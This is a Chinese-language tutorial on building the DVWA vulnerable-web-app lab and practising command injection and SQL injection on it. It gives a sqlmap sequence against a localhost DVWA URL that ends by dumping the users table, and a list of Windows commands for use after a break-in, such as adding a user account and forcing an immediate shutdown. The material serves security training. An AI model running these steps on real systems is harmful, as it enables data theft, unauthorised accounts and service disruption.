DVWA靶场搭建。
下载PHP环境 (WAMP)
DVWA源代码:https://github.com/digininja/DVWA/archive/master.zip
①命令执行漏洞
原因:应用系统从设计上需要给用户提供指定的远程命令操作的接口,用户从web界面输入目标ip,提交后后台会对ip地址进行一次ping测试并返回测试结果,而如果设计者在完成该功能时,没有严格的安全控制,则可能会导致攻击者通过该接口提交恶意命令,让后台进行执行,从而获得后台服务器权限。
渗透测试解决方法:
白盒测试:可以看到源代码,查看源代码过滤机制
黑盒测试:看不到源代码,依次尝试常见命令连接符
②SQL注入漏洞
原因:发生于应用程序与数据库层的安全漏洞。在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符串检查,这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL
过程:
第一步:检测漏洞
python sqlmap.py -u "地址名" --cookie=""(python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=3lqptfa7v1ldbd24mhjgi806du" )
第二步:获取数据库名
python sqlmap.py -u "地址名" --cookie="" --dbs(获取所有数据库名)
第三步:获取指定数据库表
python sqlmap.py -u "地址名" --cookie="" -D dvwa --tables(python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=3lqptfa7v1ldbd24mhjgi806du" -D dvwa --tables)
-D:Database指定想要获取的数据库名为dvwa
-T:Table指定想要获取的表名为users
--columns:列出表项/列
第四步:获取指定数据库列/表项
python sqlmap.py -u "地址名" --cookie="" -D dvwa -T users --columns
第五步:获取数据
python sqlmap.py -u "地址名" --cookie="" -D dvwa -T users --dump
--dump:读取数据
sql injection 防御(medium)
解决方法:①转义为16进制数(在网页hex上进行)
②调用database()方法
常用cmd命令:
whoami 查看当前用户名
ipconfig 查看网卡信息
shutdown -s -t 0 立即关机
net user [username] [password] /add 增加一个用户名username为密码为password的新用户
type [file_name] 查看filename文件内容